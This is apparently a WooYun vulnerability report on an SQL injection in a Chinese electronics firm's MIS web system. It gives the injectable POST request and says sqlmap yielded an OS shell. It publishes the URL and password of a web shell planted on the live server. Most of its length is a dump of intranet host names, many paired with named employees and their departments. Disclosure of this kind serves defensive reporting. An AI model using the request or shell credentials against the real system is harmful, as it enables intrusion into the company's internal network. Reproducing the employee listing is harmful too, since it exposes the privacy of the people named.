当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151463

漏洞标题:宏发电声某系统存在sql注射漏洞(sa权限已shell可威胁内网)

相关厂商:厦门宏发电声股份有限公司

漏洞作者: 路人甲

提交时间:2015-11-03 12:25

修复时间:2015-11-08 12:26

公开时间:2015-11-08 12:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-03: 细节已通知厂商并且等待厂商处理中
2015-11-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql注射漏洞已shell

详细说明:

系统地址:
http://mis.hongfa.com
对其进行扫描

QQ截图20151103105830.png


发现了http://mis.hongfa.com/1.aspx

QQ截图20151103110246.png


QQ截图20151103110307.png


通过点击收获以下POST请求

POST http://mis.hongfa.com/cs/select_ren.aspx?domains=&bmid=6 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://mis.hongfa.com/cs/select_ren.aspx?domains=&bmid=6
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: mis.hongfa.com
Content-Length: 2465
Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=oomq0tq0vvikuubksfycns45
__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUJODQ5OTcxNzIyD2QWAmYPZBYKZg8QDxYGHg1EYXRhVGV4dEZpZWxkBQtjb21wYW55X2pjMR4ORGF0YVZhbHVlRmllbGQFDGNvbXBhbnlfY29kZR4LXyFEYXRhQm91bmRnZBAVBwzlro%2Flj5HmgLvpg6gM5qyn5rSy5a6P5Y%2BRDOe%2BjuWbveWuj%2BWPkQzkuIrmtbflro%2Flj5EM5YyX5Lqs5a6P5Y%2BRDOmmmea4r%2BWuj%2BWPkQzlro%2Flj5HnlLXmsJQVBwJIUQNFVUECQU0CU0gCQkoCSEsESEZEURQrAwdnZ2dnZ2dnFgFmZAIBDxBkEBUdBuaaguaXoAzokKXplIDkuK3lv4MWwqDCoMKgwqDCoOKUnOWbvemZhemDqB%2FCoMKgwqDCoMKgwqDCoMKg4pSc6YCa55So5LiT6aG5JcKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzmrKfmtLLniYfljLolwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOe%2Bjua0sueJh%2BWMuiXCoMKgwqDCoMKgwqDCoMKgwqDCoMKg4pSc5Lqa5rSy54mH5Yy6KMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzmlrDlk4HplIDllK7pg6glwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOWbveWGheeJh%2BWMuh%2FCoMKgwqDCoMKgwqDCoMKg4pSc55S15Yqb5LiT6aG5JcKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzlm73lhoXniYfljLolwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOWbveWklueJh%2BWMuh%2FCoMKgwqDCoMKgwqDCoMKg4pSc5rG96L2m5LiT6aG5JcKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzlm73lhoXniYfljLolwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOWbveWklueJh%2BWMuijCoMKgwqDCoMKgwqDCoMKg4pSc5a6B5rOi5bel5o6n5LiT6aG56YOoJcKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzlm73lhoXniYfljLolwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOWbveWklueJh%2BWMuiLCoMKgwqDCoMKgwqDCoMKg4pSc5a%2BG5bCB5LiT6aG56YOoH8KgwqDCoMKgwqDCoMKgwqDilJzkvY7ljovkuJPpobkuwqDCoMKgwqDCoMKgwqDCoMKgwqDCoOKUnOaOp%2BWItueUteWZqOmUgOWUrumDqC7CoMKgwqDCoMKgwqDCoMKgwqDCoMKg4pSc6YWN55S155S15Zmo6ZSA5ZSu6YOoH8KgwqDCoMKgwqDCoMKgwqDilJzmtYvor5Xpg6jpl6giwqDCoMKgwqDCoMKgwqDCoOKUnOebtOa1geS4k%2BmhuemDqCXCoMKgwqDCoMKgwqDCoMKgwqDCoMKg4pSc5Zu95YaF54mH5Yy6JcKgwqDCoMKgwqDCoMKgwqDCoMKgwqDilJzlm73lpJbniYfljLoWwqDCoMKgwqDCoOKUnOW4guWcuumDqBzCoMKgwqDCoMKg4pSc5Lia5Yqh566h55CG6YOoD%2BmdnuiQpemUgOmDqOmXqBUdATABMQEyAjM4ATYBOAE3ATUCMTYBOQI0MQI0MgIxMAI0MwI0NAIzNAI0NQI0NgIzNQI0MAIxNwIzNwI0OQIzNgI0NwI0OAEzATQCMjkUKwMdZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2cWAWZkAgQPEA8WBh8ABQh0cnVlbmFtZR8BBQh1c2VybmFtZR8CZ2QQFQYO6ZmI6Z2ZICAgICAgICAQ6ZmI6LWb55S3ICAgICAgIBDpmYjnh5Xph5EgICAgICAgEOmSseS4h%2Bm5jyAgICAgICAQ6Ziu5L%2BK5YeMICAgICAgIBDosKLkvbPlqacgICAgICAgFQYFY2F0aHkJanVsaWFjaGVuClNoZXJyeWNoZW4DcXdwA3JqbAlwZXl0b254aWUUKwMGZ2dnZ2dnFgBkAgUPFgIeC18hSXRlbUNvdW50ZmQCBg8PFgIeBFRleHRlZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgcFCGNzX3JlbiQwBQhjc19yZW4kMQUIY3NfcmVuJDIFCGNzX3JlbiQzBQhjc19yZW4kNAUIY3NfcmVuJDUFCGNzX3JlbiQ1Zjrwnv6oNhUkehKCaRjPZP51ajM%3D&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&company=HQ&searchtxt=1&relay_buttofn=%E6%90%9C%E7%B4%A2


放入sqlmap

QQ截图20151103111114.png


QQ截图20151103110608.png

漏洞证明:

18库

QQ截图20151103110647.png


支持union

QQ截图20151103111251.png


支持--os-shell

QQ截图20151103111448.png


shell地址:http://mis.hongfa.com/xiaobai.aspx
密码:xiaobai

QQ截图20151103111547.png


<code>
\\1B-CHEN-DH
\\1B-CHEN-ML 装配一部 陈美玲
\\1B-CHEN_BK
\\1B-DBJ6 装配一部 打标机6
\\1B-DENG-JZ 装配一部 邓金珠
\\1B-DENG_QL 装配一部 钟浮生
\\1B-DING-ZQ
\\1B-DU-CL
\\1B-HOU-LJ 装配一部 侯利娟
\\1B-HU-ZP
\\1B-HUANG-B
\\1B-HUANG_YF
\\1B-KANG-WB 装配一部 康文波
\\1B-LIN_LZ
\\1B-LIU_L
\\1B-SPC01
\\1B-WANG-ZQ
\\1B-WU-XX
\\1B-WU-Y 装配一部 吴艳
\\1B-WU_KH
\\1B-XIE_YL 装配一部 谢艳丽
\\1B-YU-RX 装配一部 俞日星
\\1B-ZHONG-FS
\\1B-ZHONG-XW
\\1B-ZHONG_FS
\\1B-ZHONG_XW
\\1B-ZHU_BP
\\2B-CHEN-BX 装配二部 陈宝羡
\\2B-CHEN-SX 2部 陈双鑫
\\2B-DENG-Y 装配二部 邓洋
\\2B-DENG_DQ
\\2B-HE-YG
\\2B-HONG-SM
\\2B-HUANG-MY
\\2B-HUANG-ZM 装配二部 黄智明
\\2B-HUANG_ZM 2部 黄智明
\\2B-LAI_YH
\\2B-LEI-BZ 装配2部 雷保珠
\\2B-LI-GQ
\\2B-LI-TP
\\2B-LIN-LM 二部 林良满
\\2B-LIN-ZQ
\\2B-LUO-NX 装配二部 罗乃祥
\\2B-LUO_NX 装配二部 罗乃祥
\\2B-OYANG-JL 2部 欧阳菊兰
\\2B-WU-JX
\\2B-WU-JX-NEW
\\2B-WU_JX 装配二部 武俊祥
\\2B-XIA_YY
\\2B-ZENG-JQ
\\2B-ZHOU-FC 装配二部 周富超
\\2B-ZHU_SH
\\3B-CHEN-FQ 模具中心 杨旺明
\\3B-CHEN-HR 模具中心 张婵彬
\\3B-CHEN-LZ 装配三部 李超
\\3B-CHEN-ML 装配三部 陈梅玲
\\3B-HU-JL 装配三部 胡锦龙
\\3B-LANJL
\\3B-LI-C
\\3B-LIN-RW
\\3B-LIN_YH
\\3B-LIU-L 装配三部 曾春莲
\\3B-LIU-XM 装配三部 刘雪敏
\\3B-MEETING
\\3B-QIU-ZT 装配三部 邱振添
\\3B-SHAO-ZQ 装配三部 邵志群
\\3B-WEI-HY
\\3B-XIE-ZS
\\3B-XU_KL 企划生产部 郑晓花
\\3B-YIN-FQ 装配三部 殷发强
\\3B-ZHANG-XF
\\3B-ZHANG_XF
\\3B-ZHANGXF 装配三部 张晓凤
\\5B-CAI_XL
\\5B-CHEN-HH
\\5B-DONG-QS
\\5B-GAO-JY
\\5B-HU-WB
\\5B-HUANG-Y
\\5B-HUANG-ZQ
\\5B-LAN-JL
\\5B-LI-HH
\\5B-LIAO-LX
\\5B-LIAO-WH 装配二部 武俊祥
\\5B-LIAO-WM
\\5B-LIAO_LX
\\5B-LIN-LR
\\5B-TAN-YB
\\5B-WU_YQ 五部 伍业琴
\\5B-WU_ZR
\\5B-XIAO_HS 装配三部 张志雄
\\5B-XU-ZY
\\5B-YU-XG 五部 于新岗
\\5B-ZHENG_Q 五部 郑强
\\5B-ZHOU-FC
\\5B-ZHU_LZ
\\A87F384501C647D
\\AD-2008
\\AD-2012
\\AD-BACK
\\AD-SERVER
\\AP01
\\BACKUP
\\BG-CHEN-JZ
\\BG-SUN_YF
\\BG-ZHOU-LL 报关 周丽玲
\\BG-ZHU_YL 报关室 朱玉玲
\\BG1
\\BG2 颜美凤
\\BG3
\\BG_LI_J
\\BI-APP
\\BI-DB
\\BI-TEST
\\BI1
\\BJ-CJ
\\BJ-FANG-Q 部件-方琴
\\CAIZHIYING
\\CG-CAI_JS
\\CG-LEI-YL
\\CG-LI-YJ
\\CG-LIU-WW 物流部 刘威武
\\CG-LIU_WW
\\CG-REN-QY
\\CHEN-QH
\\CHINA-A44F1C743 质量部 SPC15
\\CITRIX01
\\CITRIX02
\\CMM-PC
\\CNC2
\\CT1
\\CT10
\\CT2
\\CT5
\\CT6
\\CT7
\\CT8
\\CT9
\\CW-CHEN_JF 财务部 陈金凤
\\CW-DU-HY
\\CW-FANG-JZ 财务部 方建洲
\\CW-FANG-L 财务 方璐
\\CW-HU_XL
\\CW-LI-SL 财务与投资管理部 李素莲
\\CW-LI-W 财务部 李雯
\\CW-LI-ZY 财务部 李振宇
\\CW-LI_ZY
\\CW-LIN-YZ
\\CW-MA-LR 财务部 马丽容
\\CW-YANG-QJ 财务部 杨巧静
\\CW-ZOU-LF
\\CW-ZOU-XZ
\\CY-GUO-XJ
\\DATA
\\DATA1
\\DD-CHEN-CH 电镀车间 陈彩华
\\DD-CHEN-KC
\\DD-FANG-GF 电镀车间 方国富
\\DD-HONG-QY 电镀车间 洪谦英
\\DD-HUANG-WL 品质部 黄文礼
\\DD-JIAO-H 电镀车间 交货
\\DD-LI-B 电镀车间 李冰
\\DD-LI-FQ
\\DD-LIN-JY 电镀车间 林俊义
\\DD-LUO-FR
\\DD-PAN-YQ 电镀车间 潘银侨
\\DD-PENG-SH 电镀车间 彭淑合
\\DD-QUAN-GS 电镀车间 权贵山
\\DD-QUAN-GUIS 电镀 权贵山
\\DD-SHI-JP
\\DD-TAN-XH
\\DD-TU-WEIMING
\\DD-TU-WM 电镀 涂伟民
\\DD-WANG-LJ 品质部 王丽娟
\\DD-WU-FL 电镀车间 吴凤兰
\\DD-ZHANG-YZ 电镀车间 章育枝
\\DD-ZHAO-Y 电镀车间 赵跃
\\EAM
\\EAT 就餐系统
\\EATERY 食堂报餐
\\EHR-SERVER
\\EHR-WEB
\\EHR1
\\EIP
\\EIP3
\\GJ-CHEN-Z
\\GJ-FAN-JL
\\GJ-HONG_ZP
\\GJ-HUANG-SZ
\\GJ-JIA-L
\\GJ-SHEN-D
\\GJ-WANG-GS 1001846
\\GJ-WANG-LR
\\GJ-WANG-Y 营销中心 王垚
\\GJ-XIAO-HD 营销中心 肖辉达
\\GJ-XIE-JJ
\\GJ-XULY
\\GJ-ZHANG-BF
\\GJ-ZHANG-WJ
\\GJ-ZHANG-X Jason-Zhang
\\GJ-ZHONG_YN
\\GJ-ZHOU-X 周晓
\\GJ-ZHUO_CH 销售本部 卓彩红
\\GSLD-GUO-WG 公司领导郭伟国
\\GSLD-ZHANG-RY 公司领导 张仁义
\\GYJS-CHEN-JT 工艺技术部 陈金塘
\\GYJS-CHEN-RJ 工艺技术部 陈荣杰
\\GYJS-CHEN-YQ 工艺技术 陈玉清
\\GYJS-FAN-XH
\\GYJS-GENG-LX
\\GYJS-GONG_ZM 产品技术部 龚志敏
\\GYJS-LAI-GX 产品技术部 赖冠贤
\\GYJS-LI_J
\\GYJS-LIN-XS 工艺技术部 林修圣
\\GYJS-MEETING 工艺技术部 会议室
\\GYJS-RAO_ZH 工艺技术部 饶智辉
\\GYJS-SHEN-ZH 工艺技术 沈泽华
\\GYJS-WU-LY
\\GYJS-YANG-SJ
\\GYJS-ZENG_ZX
\\GYJS-ZHONG-QF 工艺技术部 钟权飞
\\HF
\\HF-ABC
\\HF-BOC
\\HF-CCB
\\HF-CIB
\\HF-CMBC
\\HF-FPJ 宏发 发票机
\\HF-ICBC
\\HF-LYDATA
\\HF-SBN-WCT11
\\HF-SBN-WCT65LIC
\\HFDATA
\\HFFMS1
\\HFSERVER
\\HR-BAI-F 人力资源中心 白帆
\\HR-CAI_J
\\HR-CHEN-SS-NEW 持股会 陈珊珊
\\HR-CHEN_F
\\HR-CHEN_QM
\\HR-CHEN_XL
\\HR-HAN-WQ 人力资源中心 郑勇
\\HR-HU_JH
\\HR-LIN-H 人力资源中心 林怀
\\HR-LIN-WT 人力资源部 林雯婷
\\HR-WANG_XL
\\HR-XIAO-MX 人力资源部 肖明星
\\HR-YAN-ZH
\\HR-ZHANG-SX
\\HR-ZHANG-TJ
\\HR-ZHANG_CX
\\HR-ZHENG-B
\\HR-ZHOU_WB 文档室 周文彬
\\HR-ZHU-QC
\\HR-ZT
\\JCZX-BAI-ZH 检测中心 白智宏
\\JCZX-CHE_BH
\\JCZX-CHEN-J 检测中心 陈君
\\JCZX-FXS1 检测中心 分析室1
\\JCZX-FXS2 jczx-fxs
\\JCZX-GUO-GX
\\JCZX-GUO_QL 检测中心 郭巧玲
\\JCZX-JIANG-CL
\\JCZX-JIANG_CL 检测中心 江长流
\\JCZX-LI-CX 12
\\JCZX-LIN-XH 检测中心 林香华
\\JCZX-LIU-XF 检测中心 刘旭峰
\\JCZX-LU-JH 检测中心 卢敬宏
\\JCZX-LU_NY 检测中心 陆宁懿
\\JCZX-LUO-SH 检测中心 汽车实验室
\\JCZX-RUAN-XY 检测中心 阮贤玉
\\JCZX-SU-QX 检测中心 苏清兴
\\JCZX-TANG-JS
\\JCZX-WANG_CH
\\JCZX-XIAO-X
\\JCZX-XIE-KQ
\\JCZX-XIE-SW 检测中心 谢松武
\\JCZX-XIE_DR 检测中心 谢大荣
\\JCZX-XU-GP 检测中心 徐国平
\\JCZX-YE-ZT
\\JCZX-YU-GX
\\JCZX-ZHANG-JL 检测中心 张金梁
\\JCZX-ZHENG-QL 检测中心 郑巧玲
\\JCZX-ZHOU-Y 检测中心 周艳
\\JCZX-ZHUANG-KL
\\JCZX-ZHUANG_KR
\\JCZX-ZIWAI 检测中心 紫外光谱
\\JCZX_LU_WX
\\JG-CAI-FL 金工车间 蔡凤龙
\\JG-CHEN-JP 金工车间 陈剑鹏
\\JG-GUO-CZ 品质部 郭昌洲
\\JG-HUANG-WZ
\\JG-LI-XY 金工车间 李雪勇
\\JG-LIU-H 金工车间 刘欢
\\JG-LOU-YT 金工
\\JG-SHAO-XC 模具 邵显楚
\\JG-SPC2 金工车间 spc2
\\JG-WANG-XK 金工车间 王小昆
\\JG-ZOU-DQ 金工车间 邹道秋
\\JSGL-WANG-JH
\\JSJ-DATA
\\JSJ-GU-JY 计算机中心 顾瑾瑜
\\JSJ-LIANG-SH
\\JSZX-HUANG-SJ
\\JSZX-MEETING
\\JSZX-ZOU-R
\\JYMES-TEST
\\JZB-JIANG-MG
\\JZB-ZHUO-B
\\KF
\\KFB-MEETING
\\KFB-MEETING1
\\KFB-WANG_J
\\LIMS LIMS服务器
\\LV-XH
\\MAIL
\\MAIL-2
\\MF-CAI-WY 密封 蔡文英
\\MF-CAI-YT 密封 蔡玉婷
\\MF-CHEN-AL 密封 陈爱兰
\\MF-CHEN-FL
\\MF-CHEN-M
\\MF-CHEN-PP 密封公司 陈平平
\\MF-CHEN-S 密封事业部 陈帅
\\MF-CHEN-YB 密封 陈聿宾
\\MF-CHENG-L 密封 程玲
\\MF-FENG-FR
\\MF-FU-YJ 付勇军
\\MF-GUAN_YM 密封 官燕梅
\\MF-GUO-CG req
\\MF-GX
\\MF-HE-ZK 密封 何正开
\\MF-HU-YL 密封 胡永良
\\MF-LI-FK 密封 李伏坤
\\MF-LI-LL
\\MF-LI-SC 密封 李世昌
\\MF-LI-YC
\\MF-LI_YC
\\MF-LIAO_XJ
\\MF-LIN-GY 密封-林桂英
\\MF-LIN-LZ
\\MF-LIU-ZQ 密封 刘志权
\\MF-LUAN-W 密封 栾伟
\\MF-LUO-MF 密封 罗美芳
\\MF-LUO_MF 密封 罗美芳
\\MF-LZG mf-lzg
\\MF-PAN-LJ 密封 潘丽娟
\\MF-PAN-LJ1 密封 潘丽娟
\\MF-PAN_LJ 密封 潘丽娟
\\MF-QIU-AL 密封 邱爱丽
\\MF-SONG-XZ 密封 宋新珍
\\MF-SU-YC 密封 苏永春
\\MF-SX-ZDF1 密封 振动房1
\\MF-SX-ZDF3 密封 振动房3
\\MF-TM1
\\MF-WANG-NP 密封 王柠棚
\\MF-WANG-SH
\\MF-WANG-XC
\\MF-WU-ZH 巫珍华
\\MF-XIAO-WF
\\MF-XIAO-WJ 密封 肖吴军
\\MF-XIAO_LX
\\MF-YANG-J 密封 杨健
\\MF-YANG-XB 密封 杨向波
\\MF-YE-KL 密封 叶开亮
\\MF-YE-QL 密封 叶秋莲
\\MF-YU-DL
\\MF-ZENG-LL
\\MF-ZENG-LS 密封 曾林松
\\MF-ZENG-QF 曾岐发
\\MF-ZENG-YF 密封 曾艳芳
\\MF-ZENG-YH 密封 曾艳红
\\MF-ZENG_LP 密封 曾丽萍
\\MF-ZHANG-GY
\\MF-ZHANG-ZJ 密封 张政军
\\MF-ZHAO-ZH 密封 赵自和
\\MF-ZHENG-FJ 密封事业部 郑福基
\\MF-ZHENG-Y 密封公司 郑宇
\\MF-ZHONG-GF 密封 钟桂峰
\\MF-ZHOU-SY
\\MFDATA
\\MFTM
\\MIS
\\MJ-CAO-HL 模具中心 曹惠乐
\\MJ-CHANG-JZ1 模具中心 常军战
\\MJ-CHANG_JZ 模具中心 常军战
\\MJ-CHEN-MF
\\MJ-CHEN-QF
\\MJ-CHEN-S 模具中心 陈帅
\\MJ-CHEN_JL
\\MJ-CHEN_WB
\\MJ-CNC2 模具中心 会议室
\\MJ-DAI_MK
\\MJ-EDW 模具中心 苏玉珠
\\MJ-FANG-D
\\MJ-GF01
\\MJ-HUANG-SHK 模具中心 黄诗坤
\\MJ-HUANG-ZQ
\\MJ-HUANG_CL
\\MJ-HUANG_ZF
\\MJ-JIANG_CD 模具中心 蒋彩段
\\MJ-LAI-DS 模具中心 赖德森
\\MJ-LEI-LP
\\MJ-LI-FA
\\MJ-LI-FH
\\MJ-LI-HD
\\MJ-LI-XH 模具中心 李晓杭
\\MJ-LI_JW
\\MJ-LI_LN
\\MJ-LIANG_HP
\\MJ-LIAO-YB 模具中心 廖雨标
\\MJ-LIN-XB 模具OPS 林小兵
\\MJ-LIN-XL
\\MJ-LIN_JB
\\MJ-LIN_QF 模具中心 林秋芳
\\MJ-LIU-C
\\MJ-LIU-YS 模具车间 刘有生
\\MJ-LIU_JL 模具中心 刘金莲
\\MJ-LIU_WT
\\MJ-LIU_XL
\\MJ-LIU_YS
\\MJ-MAO-YA 模具中心 毛银安
\\MJ-MEETING
\\MJ-MEETINGROOM 模具中心 刘万涛
\\MJ-REN_WT
\\MJ-SHI-HP
\\MJ-SHI_Y
\\MJ-SU-YQ 模具中心 苏逸群
\\MJ-SU-YZ 模具中心 苏玉珠
\\MJ-WANG-RF 模具 王仁富
\\MJ-WANG_HH 模具中心 王辉煌
\\MJ-WANG_QJ
\\MJ-WEN-RQ 模具中心 温荣群
\\MJ-WEN-YQ 模具中心 温云群
\\MJ-YANG-HL 模具中心 杨惠玲
\\MJ-YANG_WM
\\MJ-YE-JJ
\\MJ-YOU-SX
\\MJ-ZHAN-Y 模具中心 占颖
\\MJ-ZHANG-CY
\\MJ-ZHANG_BC
\\MJ-ZHANG_CB
\\MJ-ZHANG_H
\\MJ-ZHAO-WJ 模具中心 赵维军
\\MJ-ZHAO-XL 模具中心 赵晓磊
\\MJ-ZHENG_YF
\\MJ-ZHOU-XH 模具中心 周小红
\\MJ-ZHUANG_WB
\\MJ01
\\MJ02
\\NAS nas-server
\\NAS2
\\NOD32
\\NOD32-01
\\OA
\\PC-201004141319
\\PLMAPP
\\PLMDB
\\PLMVOL
\\PLMWEB
\\PM-CONNECTION
\\PM-SERVER
\\PM-SERVER1
\\PS
\\PZ-BAO-J
\\PZ-CHEN-HS
\\PZ-CHEN-ML
\\PZ-CHEN-QB 品质中心 陈清滨
\\PZ-CHEN-T 质量部 陈婷
\\PZ-CHEN-ZW 品质中心 陈兆伟
\\PZ-FENG-YN
\\PZ-GAO-HR 品质中心 高华荣
\\PZ-GONG-XJ 质量部 龚旭娟
\\PZ-HUA_GY 质量部 华桂英
\\PZ-HUANG-DH
\\PZ-HUANG-XJ 质量部 黄晓靖
\\PZ-HUANG_NH
\\PZ-LEI-XJ 计量室 雷新进
\\PZ-LI-JW 品质中心 李建文
\\PZ-LIN-YG1
\\PZ-LIU_MY
\\PZ-MAO-XA
\\PZ-PENG-B 品质中心 彭彬
\\PZ-PENG-JP
\\PZ-RUAN-WQ 品质中心 阮文清
\\PZ-SHEN_GQ
\\PZ-SPC07
\\PZ-SPC08
\\PZ-SPC10 品质 spc10
\\PZ-SPC100
\\PZ-SPC14
\\PZ-SPC18
\\PZ-SPC20
\\PZ-SPC21
\\PZ-SPC23
\\PZ-SPC24
\\PZ-SPC25
\\PZ-SPC26
\\PZ-SPC27
\\PZ-SPC29
\\PZ-SPC3 品质中心 温秋香
\\PZ-SPC31 49FD
\\PZ-SPC32
\\PZ-SPC5 品质中心 李桂美
\\PZ-SPC99
\\PZ-TANG-J 品质 唐佳
\\PZ-WANG-GR 品质中心 王广荣
\\PZ-WANG-HM
\\PZ-WANG-HM1 品质 王红苗
\\PZ-WANG-LJ 品质部 王丽娟
\\PZ-WANG-YX 品质中心 刘丹萍
\\PZ-XIAO_ZH
\\PZ-XIE-F 品质中心 谢芳
\\PZ-XIONG_JW
\\PZ-XU-JJ
\\PZ-XU-Y
\\PZ-YE-JJ01
\\PZ-YE-XF 品质中心 叶雪凤
\\PZ-ZENG-XT 品质中心 曾祥添
\\PZ-ZENG-YQ
\\PZ-ZHANG-MM
\\PZ-ZHANG-MM1
\\PZ-ZHENG-LS 品质中心 郑丽珊
\\PZ-ZHOU-XB 品质中心 周小贇
\\PZ-ZHOU-XY 品质周小赟
\\PZ-ZHUANG-Y
\\PZ-ZOU-DH 品质中心 邹多辉
\\PZ-ZOU-XY
\\PZ_SPC4
\\QAD-AM1
\\QAD-AM2
\\QAD-AM3
\\QAD-AM4
\\QAD-FS
\\QC-SL
\\QCDZ qc-nas
\\QCDZ-AQ
\\QCDZ-CAI-Y
\\QCDZ-CHEN-H
\\QCDZ-CHEN-HY
\\QCDZ-CHEN-JL
\\QCDZ-CHEN-JM
\\QCDZ-CHEN-JM1
\\QCDZ-CHEN-KH
\\QCDZ-CHEN-Q
\\QCDZ-CHEN-RY 汽车电子 陈若颖
\\QCDZ-CHEN-S 汽车电子 陈帅
\\QCDZ-CHEN-SJ
\\QCDZ-CHEN-SL 汽车电子 王加枝
\\QCDZ-CHEN-W 汽车电子 陈国贤
\\QCDZ-CHEN-X 汽车电子 陈雪
\\QCDZ-CHEN-XH1
\\QCDZ-CHEN-XL 汽车电子
\\QCDZ-CHEN-YP
\\QCDZ-CHEN-ZH
\\QCDZ-CHEN-ZY 汽车电子 陈振宇
\\QCDZ-CHENG-W
\\QCDZ-CHENG-ZH
\\QCDZ-CHI-LX 池礼贤
\\QCDZ-DAI-JX
\\QCDZ-DENG-HB1
\\QCDZ-DENG-LJ 汽车电子 邓连姬
\\QCDZ-DING-HL
\\QCDZ-DONG-ZR 汽车电子 董洲荣
\\QCDZ-DUAN-BH
\\QCDZ-GAO-JW 汽车电子 李阳居
\\QCDZ-GONG-XL 汽车电子
\\QCDZ-HE-XQ 汽车电子
\\QCDZ-HONG-LZ
\\QCDZ-HONG-XL
\\QCDZ-HOU-DQ-PC
\\QCDZ-HU-JJ 汽车电子 胡佳佳
\\QCDZ-HU-SY1 汽车电子
\\QCDZ-HU-YT
\\QCDZ-HUANG-DY 汽车电子 黄东阳
\\QCDZ-HUANG-ML2
\\QCDZ-HUANG-TJ 汽车电子
\\QCDZ-HUANG-TZ
\\QCDZ-HUANG-Y
\\QCDZ-HUANG-YH 汽车电子 黄艺红
\\QCDZ-HUANG_ML
\\QCDZ-HUANG_ML1
\\QCDZ-HUANG_YH 汽车电子
\\QCDZ-INTERNET
\\QCDZ-JI-G
\\QCDZ-JIANG-J 汽车电子 蒋军
\\QCDZ-JIN-XC1
\\QCDZ-KANG-HM 汽车电子 康鸿明
\\QCDZ-LAN-GR 汽车电子 兰国荣
\\QCDZ-LI-D 汽车电子 李硕
\\QCDZ-LI-DM 汽车电子
\\QCDZ-LI-GH 汽车电子 胡玉唐
\\QCDZ-LI-LH1
\\QCDZ-LI-LY
\\QCDZ-LI-MH1
\\QCDZ-LI-QB
\\QCDZ-LI-RH
\\QCDZ-LI-RH1
\\QCDZ-LI-WJ
\\QCDZ-LI-WL 汽车电子
\\QCDZ-LI-WS 汽车电子 蔡文英
\\QCDZ-LI-YJ
\\QCDZ-LI_GH
\\QCDZ-LI_QB
\\QCDZ-LI_WL 汽车电子 李文连
\\QCDZ-LI_YJ
\\QCDZ-LIANG-T 汽车电子 王宏
\\QCDZ-LIAO-DY 汽车电子 廖敦源
\\QCDZ-LIAO-XW 汽车电子 廖兴旺
\\QCDZ-LIAO-YH Mr Liao
\\QCDZ-LIAO_DY
\\QCDZ-LIN-RZ
\\QCDZ-LIN-WL 汽车电子 林伟龙
\\QCDZ-LIN-XQ
\\QCDZ-LIN-YH1
\\QCDZ-LIN-YX
\\QCDZ-LIN_LM 汽车电子 杨小民
\\QCDZ-LIN_ZW
\\QCDZ-LINZY
\\QCDZ-LIU-GR
\\QCDZ-LIU-H
\\QCDZ-LIU-HH 汽车电子 柳红红
\\QCDZ-LIU-HH1
\\QCDZ-LIU-L
\\QCDZ-LIU-MY 汽车电子 刘梅燕
\\QCDZ-LIU-SL 汽车电子 刘淑玲
\\QCDZ-LIU-SQ 汽车电子
\\QCDZ-LIU-YF
\\QCDZ-LIU-YG 汽车电子 刘懿葛
\\QCDZ-LIU-Z
\\QCDZ-LIU-Z1
\\QCDZ-LIU_SL 汽车电子 刘淑玲
\\QCDZ-LU-JZ 汽车电子 卢甲桢
\\QCDZ-LU-LN 汽车电子 卢丽娜
\\QCDZ-LU-SL 卢素林
\\QCDZ-LUO-Q
\\QCDZ-LUO-Q1
\\QCDZ-LUO-XM
\\QCDZ-LUO-Y 汽车电子 罗云
\\QCDZ-LV-LH
\\QCDZ-LV-XH 汽车电子 吕秀惠
\\QCDZ-MA-YT 汽车电子
\\QCDZ-NIE-SC
\\QCDZ-PENG-DM 汽车电子 彭冬明
\\QCDZ-PIN-B
\\QCDZ-QIN-S
\\QCDZ-QIU-CS
\\QCDZ-QIU-J
\\QCDZ-QUE-CF 汽车电子 阙春凤
\\QCDZ-REN-LH 汽车电子 任梨花
\\QCDZ-SANG-JG 汽车电子 制造技术部
\\QCDZ-SERVER
\\QCDZ-SHI_YL
\\QCDZ-SHU-ZG 汽车电子 舒志刚
\\QCDZ-SONG-JT
\\QCDZ-SONG-P 汽车电子 宋平
\\QCDZ-SPC01
\\QCDZ-SPC06
\\QCDZ-SPC08
\\QCDZ-SPC12
\\QCDZ-SU-ML 汽车电子
\\QCDZ-SU-YX2
\\QCDZ-SUN-WG 汽车电子 魏宝英
\\QCDZ-TANG-FS
\\QCDZ-TANG-J
\\QCDZ-TANG-JA
\\QCDZ-TANG-JL 汽车电子 唐金蕾
\\QCDZ-TIAO-M2
\\QCDZ-TIAO-M3 汽车电子 条码3
\\QCDZ-TIAO-M4 汽车电子 条码4
\\QCDZ-WANG-CL
\\QCDZ-WANG-FY 汽车电子 王福云
\\QCDZ-WANG-Q
\\QCDZ-WANG-XY 汽车电子 王小燕
\\QCDZ-WANG-Y1
\\QCDZ-WANG-YL qcdz-wang-yl
\\QCDZ-WANG-ZJ
\\QCDZ-WEI-HJ
\\QCDZ-WEI-XM
\\QCDZ-WEI-XY 汽车电子 尉晓怡
\\QCDZ-WEI-ZG
\\QCDZ-WEN-JF 汽车电子 温金凤
\\QCDZ-WENG-HX 汽车电子 翁华秀
\\QCDZ-WU-HZ 汽车电子 吴环珍
